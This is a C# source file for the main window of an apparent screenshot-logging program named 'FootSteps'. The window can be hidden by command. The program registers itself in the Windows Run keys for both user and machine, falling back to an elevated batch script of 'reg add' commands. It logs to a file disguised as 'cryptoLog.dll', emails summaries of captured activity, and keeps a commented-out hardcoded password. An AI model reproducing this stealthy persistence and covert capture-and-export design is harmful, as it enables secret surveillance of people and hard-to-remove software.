﻿using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data.Entity;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security;
using System.Security.Permissions;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using FootSteps.Data;
using FootSteps.Domain.Loggers;
using Microsoft.Win32;

namespace FootSteps.UI
{
	public partial class MainWindow : Window
	{
		private class ConsoleWriter : TextWriter
		{
			public override Encoding Encoding { get { return Encoding.UTF8; } }
			
			public override void Write(string value)
			{
				if (WriteEvent != null) WriteEvent(value);
				base.Write(value);
			}
			
			public override void WriteLine(string value)
			{
				if (WriteLineEvent != null) WriteLineEvent(value);
				base.WriteLine(value);
			}
			
			public event OnWriteHandler WriteEvent;
			public event OnWriteHandler WriteLineEvent;
			public delegate void OnWriteHandler(string s);
		}
		public MainWindow()
		{
            SetConsoleRedirect();
            Logs = new ObservableCollection<string>();
            InitializeComponent();

            
			Model.OnLogEvent += Console.WriteLine;
            RegisterStartUp();
			SetFileLog();
			
			//Start First Context Instance
			var ctx =new FootStepsContext().ScreenLogs.ToArray();
			
			SetLoggerDefaultConfiguration();
			
			SetCommands();
			
			Model.StartAll();
		}


		private void SetLoggerDefaultConfiguration()
		{
			Model.PrintScreenLogger.TargetWidthResize = 1024;
			Model.PrintScreenLogger.SleepMillisenconds = 10000;
			Model.PrintScreenLogger.SavePrints = false;
		}

		private void SetConsoleRedirect()
		{
			var newOut = new ConsoleWriter();

			Console.SetOut(newOut);

		    var log = "";
            newOut.WriteEvent += s => Dispatcher.BeginInvoke((Action)(() =>
            {
                log += s;
                if (TxtConsole != null) TxtConsole.Text = log;
            }));
            newOut.WriteLineEvent += s => Dispatcher.BeginInvoke((Action)(() =>
            {
                log += (s + Environment.NewLine);
                if (TxtConsole != null) TxtConsole.Text = log;
                if (ConsoleScroll != null) ConsoleScroll.ScrollToEnd();
                //ConsoleView.ScrollIntoView(Logs.Last());
            }));
		}

		private StreamWriter _txtLog;
		private void SetFileLog()
		{
			_txtLog = File.AppendText("cryptoLog.dll");
			Model.OnLogEvent += _txtLog.WriteLine;
		}

        public ObservableCollection<string> Logs { get; set; }

		private void SetCommands()
		{
            Model.SetCommand("footclear", Logs.Clear);
			Model.SetCommand("footmail", Model.SendLastResumeByEmail);
			Model.SetCommand("foothide", () => Visibility = Visibility.Hidden);
			Model.SetCommand("footshow", () => Visibility = Visibility.Visible);
			Model.SetCommand("footmerge", MergePrints);
			Model.SetCommand("footnotmerge", SavePrints);
			Model.SetCommand("footcommands", () => {
			                 	Console.WriteLine(@"Listing Commands...");
			                 	foreach (var command in Model.Commands) {
			                 		Console.WriteLine("\t" + command);	
			                 	}
			                 });
		}

	    private void RegisterStartUp()
	    {
            var location = System.Reflection.Assembly.GetExecutingAssembly().Location;
            string regCommandsUser = null;
	        string regCommandsMachine = null;
            try
            {
                var registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);
                if (registryKey != null && (string) registryKey.GetValue("FootSteps") != location)
                {
                    var registryKeyWrite = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    if (registryKeyWrite != null)
                        registryKeyWrite.SetValue("FootSteps", location);
                }
                Console.WriteLine("Startup Register Success for Current User");   
            }
            catch (Exception ex)
            {
                Console.WriteLine("Startup Register Failed for CurrentUser: " + ex.Message);
                Console.WriteLine("Will try via Batch");
                regCommandsUser = "reg add \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /f /v \"FootSteps\" /t REG_SZ /d \"" + location + "\"";
            }
            try
            {
                var registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false);
                if (registryKey != null && (string)registryKey.GetValue("FootSteps") != location)
                {
                    var registryKeyWrite = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    if (registryKeyWrite != null)
                        registryKeyWrite.SetValue("FootSteps", location);
                }
                Console.WriteLine("Startup Register Success for Local Machine");   
            }
            catch (Exception ex)
            {
                Console.WriteLine("Startup Register Failed for Local Machine: " + ex.Message);
                Console.WriteLine("Will try via Batch");
                regCommandsMachine = @"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v FootSteps /t REG_SZ /d " + location;
            }
            
            if (regCommandsMachine == null && regCommandsUser == null) return;

            var script = Properties.Resources.batAdminRights;

            var tempFileName = Path.GetTempFileName() + ".bat";

	        if (regCommandsUser != null) script += Environment.NewLine + regCommandsUser;
            if (regCommandsMachine != null) script += Environment.NewLine + regCommandsMachine;

            File.WriteAllText(tempFileName, script /*+ Environment.NewLine + "timeout 5"*/);
            var p = new Process
	        {
	            StartInfo =
	            {
	                UseShellExecute = false,
	                RedirectStandardOutput = true,
	                FileName = tempFileName
	            }
	        };
            //var login = false;
            //if (login)
            //{
            //    p.StartInfo.UserName = Environment.UserName;
            //    var password = new[] { 'p', 'a', 'r', 'a', '1', '0', '8', '0', '1' };
            //    var adminpassword = new SecureString();
            //    password.ToList().ForEach(adminpassword.AppendChar);
            //    p.StartInfo.Password = adminpassword;
            //}
	        //Clipboard.SetText(regCommandsMachine);
            p.Start();
	    }
        
		private void SavePrints()
		{
			var c = new FootStepsContext();
			foreach (var file in c.ScreenLogs.OrderBy(e => e.Date).Include(e => e.Image))
			{
				file.Image.Decompress();
				using (var original = file.Image.GetBitmapFromBytes())
				{
					var dir = new DirectoryInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "notMerged"));
					if (!dir.Exists) dir.Create();
					var mergePath = Path.Combine(dir.FullName, file.PrintScreenLogId + ".jpg");
					original.Save(mergePath);
				}
			}
		}
		private void MergePrints()
		{
			Bitmap lastBitmap = null;
			var c = new FootStepsContext();
			foreach (var file in c.ScreenLogs.OrderBy(e => e.Date).Include(e => e.Image))
			{
				file.Image.Decompress();
				if (file.IsFullPrint)
				{
					if (lastBitmap != null) lastBitmap.Dispose();
					using (var original = file.Image.GetBitmapFromBytes())
					{
						lastBitmap = new Bitmap(original.Width, original.Height);
						using (var g = Graphics.FromImage(lastBitmap))
						{
							g.DrawImage(original, 0, 0);
						}
					}
				}
				else
				{
					using (var imgFile = file.Image.GetBitmapFromBytes())
						using (var bmp = new Bitmap(imgFile))
					{
						if (lastBitmap == null)
							lastBitmap = new Bitmap(bmp);

						using (var grfx = Graphics.FromImage(lastBitmap))
						{
							grfx.DrawImage(bmp, 0, 0);
						}
					}
				}
				
				var dir = new DirectoryInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "merge"));
				if (!dir.Exists) dir.Create();
				var mergePath = Path.Combine(dir.FullName, file.PrintScreenLogId + ".jpg");
				lastBitmap.Save(mergePath);
			}
			if (lastBitmap != null) lastBitmap.Dispose();
		}
		
		private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
		{
			Model.StopAll();
			_txtLog.Close();
			_txtLog.Dispose();
		}
	}
}